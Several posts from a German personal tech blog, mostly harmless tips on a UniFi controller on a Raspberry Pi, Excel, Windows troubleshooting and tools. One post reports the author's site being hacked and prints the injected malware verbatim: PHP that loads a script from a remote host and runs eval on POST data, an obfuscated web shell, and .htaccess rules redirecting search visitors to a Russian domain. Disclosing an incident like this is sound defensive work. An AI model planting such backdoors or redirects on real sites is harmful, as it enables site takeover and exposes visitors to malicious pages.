Update UniFi Controller auf Raspberry Pi

Ich hatte ja bereits hier geschrieben, dass ich ein UniFi Controller auf einem Raspberry Pi betreibe. Nun will diese Software auch gelegentlich aktualisiert werden.

Ausgangslage: Ich habe den UniFi Controller unter /opt/UniFi installiert. Mein Downloadverzeichnis ist /home/pi/download oder kurz ~/download. Der Controller läuft unter dem user unifi.

Schritt 0: die aktuelle Version des UniFi Controllers herunterladen (siehe Blog)

$ cd ~/download/

~/download $ sudo wget http://www.ubnt.com/downloads/unifi/3.2.7/UniFi.unix.zip

–2014-12-13 03:11:34– http://www.ubnt.com/downloads/unifi/3.2.7/UniFi.unix.zip

[…]

100%[======================================>] 35,236,680 2.82M/s in 14s

2014-12-13 03:11:48 (2.48 MB/s) – `UniFi.unix.zip‘ saved [35236680/35236680]

~/download $

Schritt 1: Den UniFi Controller stoppen

$ sudo /etc/init.d/unifi stop

Kontrolle via ps -ef | grep /opt/UniFi/

Notfalls „sudo pkill -9 mongod“

 (optional) Schritt 2: Die Daten sichern.

$ sudo tar -czvf /home/pi/data.tar.gz /opt/UniFi/data

Schritt 3: Das bestehende Verzeichnis verschieben

(Achtung: wirklich schon alle Prozesse beendet?)

$ sudo mv /opt/UniFi /opt/UniFi.old

Schritt 4: Die neue Version entpacken

~/download $ sudo unzip UniFi.unix.zip -d /opt/

Schritt 5: Die Daten zurückschaufeln

$ cd /opt/UniFi.old

/opt/UniFi.old $ sudo cp -pr data ../UniFi

/opt/UniFi.old $ sudo cp -pr logs ../UniFi

Schritt 6: mongodb symlink reparieren

$ cd /opt/UniFi/bin

/opt/UniFi/bin $ sudo rm mongod

/opt/UniFi/bin $ sudo ln -fs /opt/mongodb/mongod mongod

Schritt 7: Rechte setzen

$cd /opt

/opt $ sudo chown -R unifi:root UniFi

 Schritt 8: Starten

$ sudo /etc/init.d/unifi start

Zwei Minuten warten bis der Serverdienst gestartet ist. Danach funktioniert der Login wieder wie gewohnt. Im Adminpanel (unterer Bereich) kann man bei Server Information dann kontrollieren, ob man auf der neuen Version läuft. Am Ende bleibt dann noch, die Access Points zu aktualisieren.

 


Enterprise WLAN inkl. Roaming fürs Heim mit Raspberry Pi und UniFi

Wenn ich mich so durch das Haus bewege gehen manche Sachen mir ziemlich auf den Keks. Eine Sache sind Verbindungsabbrüche. Das Thema WLAN Roaming ist leider normalerweise eher eine Funktion für teure Enterprise-WLAN-Lösungen.

Freundlicherweise gibt es mit der UniFi Serie von Ubiquiti eine hübsche und relativ schicke WLAN Lösung mit Roaming-Funktion: http://www.ubnt.com/enterprise/#unifi:overview

Günstig wird die Sache aber erst, wenn man die (kostenlose) WLAN Controller Software auf einem Raspberry Pi laufen lässt. Dafür gibt es einige prima Artikel, allen voran dieser hier: http://erikvanpaassen.tweakblogs.net/blog/10024/turning-a-raspberry-pi-into-a-unifi-controller-appliance.html

Nützlich dazu:
http://vile.devlix.dk/blog/2014/03/09/raspberry-pi-unifi-controller/
http://vile.devlix.dk/blog/2014/03/30/ubiquiti-unifi-ac-pro-and-coverage/

Ich habe mir bei Reichelt einfach das „reichelt Raspberry PI B+ All-In-Bundle“ gekauft und bin der Anleitung gefolgt. Zusammenbau des Raspberry PI mit Software-Installation <2h.

Raspberry Pi B+ Bundle

Die Konfiguration des WLANs hat nach Anmeldung an dem WLAN controller von Ubiquiti keine 2 Minuten gedauert. Das Ding fragt nach SSID, WLAN-Passwort und welche bisher nicht zugeordneten Access Points mit aufgenommen werden soll. Cool!

Natürlich gilt es nach der Pflicht alle Winkel der Software zu erforschen, um möglichst viel kaputt zu optimieren.

UniFi Ubiquiti WLAN Controller Admin Screen

Grafische Übersicht / Platzierung der Access Points auf einem Grundriss

UniFi Ubiquiti Rogue Access Points

Auswahl aus den Statistiken: Rogue Accesspoints – dort kann man sehen, welche Nachbar-WLANs einem auf den Pelz rücken…

Meine aktuelle Ausstattung:

  • Raspberry PI B+ 512MB running Raspian
  • 1 UAP-AC
  • 1 UAP-PRO (zweiter ist schon geordert 😉 )

Die beiden Modelle haben noch einen zusätzlichen Gigabit-Port für eine Kaskade – das spart Ports. Bei beiden Geräten war ein PoE-Adapter im Lieferumfang enthalten. Die Geräte machen übrigens anscheinend lustige Brutzel-Geräusche, wenn sie ordentlich Daten schaufeln. Ich konnte die Geräusche deutlich reduzieren mit einem S/FTP Kabel.

WordPress Kommentare löschen

Sehr praktisch wenn 12000 Kommentare unbestätigt sind – und alle über Pillen reden.

DELETE FROM wp_comments WHERE comment_approved = 0

Quelle: http://wordpress.org/support/topic/is-there-a-way-to-delete-all-comments-at-once

Kommentare in Excel Formeln einbetten

Kommentare in Excel sind zwar grundsätzlich ganz nett gemeint, aber für den schnellen Zugriff auf Informationen ungeeignet. Insbesondere für eine große Anzahl an Zellen lassen sich herkömmliche Kommentare kaum realisieren.

Dafür kann man besser die Formel N() verwenden, diese ergibt egal was man als Parameter angibt immer die Zahl Null. Damit kann man sie in Formeln verwenden ohne das Ergebnis zu verändern.

Beispiel:
A1 enthält den Mehrwertsteuersatz 19%

=100*A1+N("in dieser Rechnung fließt der Mehrwertsteuersatz ein")

Ergebnis: 19

Will man nun auch Textfelder auf diese Weise kommentieren, bekommt man Standardmäßig immer eine 0 angehängt. Dies kann man folgendermaßen umgehen:


="dieser Text ist in der Zelle sichtbar"&TEXT(N("dieser Text nur wenn man auf die Formel in der Zelle betrachtet");"")

Ergebnis: dieser Text ist in der Zelle sichtbar

Ich habe diesen Trick angewendet um für eine große Menge von technischen Namen die Langtexterklärung mit in die Zelle zu packen. Dadurch konnte die Übersichtlichkeit erhöht werden, ohne auf Dokumentation verzichten zu müssen.

Screenpresso

Ein Kollege hat mir den Tipp für ein prima Screenshot-Tool gegeben. Ich bin ja ein großer Freund von Snagit, aber ich fürchte ich werde auf Screenpresso umsteigen.

Auf der Webseite http://www.screenpresso.com/ gibt es eine Videotour. Besonders schick finde ich die automatisch hochzählenden Zahlen, die man via Screenshot-Editor in die Bilder setzen kann. So hat man im Handumdrehen die richtige Klick-Reihenfolge für den Screenshot erklärt.

Die kostenlose Version bettet z.B. in Dropbox-Uploads Wasserzeichen ein, für normale Screenshots ist das aber quasi eine Vollversion. Und das Beste: man kann es wahlweise auch ohne Installieren ausführen.

Veröffentlicht unter Tools

harmes.de wurde gekapert

Ich habe heute festgestellt, dass die Seite am 09.11.2011 über eine Sicherheitslücke in der TinyMCE-Extension in der ZenPhoto-Gallery gekapert worden ist: http://www.zenphoto.org/news/alert-security-hole-in-zenphoto-1.4.1.4

Das ist auch der Grund, warum harmes.de vorerst im neuen Gewand auftritt. Bis auf die Bilder habe ich sämtliche Dateien gelöscht und WordPress komplett neu hochgeladen. Die Datenbank wurde von dem Hack nicht betroffen.

Auswirkung des Hacks: je nachdem von wo der Besucher gekommen ist, wurde man auf eine russische Seite weitergeleitet.

Im Folgenden habe ich alle gefundenen Änderungen aufgeführt. Einige Dateien auf meinem Webserver waren mit einem geänderten Zeitstempel versehen, die .htaccess-Dateien hatten jedoch augenscheinlich einen alten Zeitstempel. Dieses wurde von mir auch als letztes entdeckt: die Änderungen waren ziemlich banal sehr weit rechts durch Leerzeichen vor meinen Augen „geschützt“.

Durch die Lücke wurden fast alle .php-Dateien mit einer dynamischen Nachlade-Funktion ausgestattet:

$sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = „lb11″; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = „102“; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo „<script>document.cookie='“.$sessdt_k.“=“.$sessdt_f.“‚;</script>“; } } else { if($_COOKIE[$sessdt_k]==“102″) { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo „<script>document.cookie='“.$sessdt_k.“=“.$sessdt_f.“‚;</script>“; } $sessdt_j = @$_SERVER[„HTTP_HOST“].@$_SERVER[„REQUEST_URI“]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = „http://turnitupnow.net/?rnd=“.$sessdt_f.substr($sessdt_v,-200); echo „<script src=’$sessdt_u‘></script>“; echo „<meta http-equiv=’refresh‘ content=’0;url=http://$sessdt_j‘><!–„; } } $sessdt_p = „showimg“; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }

 

Außerdem wurden in den Hauptverzeichnissen Dateien á la „tmp_2981577430561915.php“ angelegt:

                                                                                                      $vf=substr(1,1);foreach(array(10,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,

110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,

115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,

99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,

73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,

114,72,84,77,76,61,39,39,59,10,10,13,9,92,39,0,112,49,60,115,99,114,105,112,

116,32,115,114,99,61,104,116,116,112,58,47,47,102,97,99,101,116,111,102,97,

99,101,46,100,101,47,101,120,116,47,62,60,47,115,99,114,105,112,116,62,116,

114,117,101,99,115,115) as $vj[0]){$vf.=chr($vj[0]);}$vj[0]=substr($vf,0,1);$vj[1]=substr($vf,1,102);$vj[2]=substr($vf,103,3);$vj[3]=substr($vf,106,6);$vj[4]=substr($vf,112,2);$vj[5]=substr($vf,114,-7);$vj[6]=substr($vf,-7); if(isset($_GET[$vj[6]])){$vj[7]=0;if(isset($_POST[chr(97)])){$vj[7]=$_POST[chr(97)];}$vj[8]=chr(97).chr(106).chr(97).chr(120);$vj[9]=0;if(isset($_POST[$vj[8]])){$vj[9]=$_POST[$vj[8]];}if($vj[7]==substr($vj[1],79,3)&&strlen($vj[9])==4){@ob_start();@eval($_POST[$vj[4]]);$vj[6]=$vj[1].addcslashes(htmlspecialchars(@ob_get_clean()),$vj[3]).$vj[2];echo strlen($vj[6]).$vj[0].$vj[6];}else{$vj[0]=chr(116).chr(120);if(!isset($_POST[$vj[0]])){echo $vj[5];}else{@eval(urldecode($_POST[$vj[0]]));}}exit;}unset($vf);unset($vj);?>

 

Und sämtliche .htaccess-Dateien wurden angepasst:

ErrorDocument 400 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 401 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 403 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 404 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 500 http://conditer-asybasy.ru/soni/index.php

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://conditer-asybasy.ru/soni/index.php [R=301,L]

Opera Extension ImgTip zeigt verlinkte Bilder als Tooltip

Der Funktionsumfang von Opera ist ja schon recht umfangreich, daher habe ich bisher keine Extensions genutzt. Die Extension ImgTip ist aber doch einen Blick wert. Durch die Erweiterung kann man bei vielen unterstützten Seiten mit der Maus über Bilder fahren, und die verlinkte Großansicht wird dann direkt eingeblendet.

Beispiel für ein Image-Tooltip

Funktioniert übrigens auch auf Facebook. Sehr praktisch.

Windows 7 Troubleshooting mit dem Zuverlässigkeitsverlauf

Unter Windows 7 kann man mit dem Bordwerkzeug „Zuverlässigkeitsverlauf anzeigen“ schnell und einfach Problemen auf die Spur kommen. Dort werden zum Beispiel die letzten Veränderungen inkl. Windowsupdates am Betriebssystem angezeigt oder ob es schwere Softwareausnahmen gegeben hat.

Zuverlässigkeitsverlauf unter Windows 7

Wenn man dann mal wieder einen instabilen Rechner untersuchen muss, ermöglicht die Übersicht eine bessere Eingrenzung und die Beantwortung der Frage „Seit wann besteht das Problem?“. Der Aufruf erfolgt übrigens einfach über das Startmenü und der Eingabe „Zuverlässigkeit“.

Einfach Dateien finden und aufrufen mit Launchy

Das Open Source Programm Launchy ist klein und unscheinbar – aber sehr praktisch. Mit ALT-Leertaste ruft man ein kleines Eingabefeld auf, in das man einen Teil eines Dateinamens eingeben kann. ENTER ruft die Datei auf (praktisch z.B. für Musiktitel). Mit einem TAB kann man dann noch zusätzliche Aufgabe auswählen, z.B. den übergeordneten Ordner öffnen. Das Programm durchsucht dabei vorher ausgewählte Ordner, z.B. Eigene Dateien oder ganz simpel das Startmenü.

Ursache für BlueScreens ermitteln

Manchmal nervt sogar ein frisch installiertes Windows, z.B. in dem es regelmäßig mit einem Blue Screen of Death (BSOD) auf die Bretter geht. Und nach IRQ_NOT_LESS_OR_EQUAL zu suchen führt nicht wirklich zu einer Lösung. In solch einem Fall hilft es manchmal nur, sich das von Windows automatisch erstellte „Kleine Speicherabbild“ aus dem Verzeichnis %SystemRoot%\Minidump auf einen funktionierenden Rechner zu kopieren. Diese .dmp-Dateien können mit dem Programm windbg aus den Debugging Tools for Windows geöffnet und analysiert werden.

Vor der Nutzung sollten die Symbol-Pfad-Einstellungen gemacht werden (Ctrl+S). Zum Beispiel „srv *D:\Temp\Debugging\Symbols *http://msdl.microsoft.com/download/symbols“. Danach über File-Open Crash Dump (Ctrl+D) die .dmp-Datei öffnen.

Nach dem Öffnen wird sofort ein Resultat angezeigt. Mit dem Befehl „!analyze -v“ kann man sich wahlweise auch noch den Stack zum Zeitpunkt des Fehlers anzeigen lassen. Gegebenenfalls muss man dann alle im Stack angezeigten Systemmodule im Internet suchen, bis man den Namen einer installierten Software oder Hardware ermittelt hat.

Die Meldung „Probably caused by : w22n51.sys ( w22n51+69222 )“ war hier aber schon des Rätsels Lösung. Eine kurze Suche nach w22n51.sys brachte sehr viele Hinweise auf ein Treiberproblem der integrierten 2200BG WLAN-Karte von Intel. Nach einem Update des Treibers waren auch die BlueScreens verschwunden.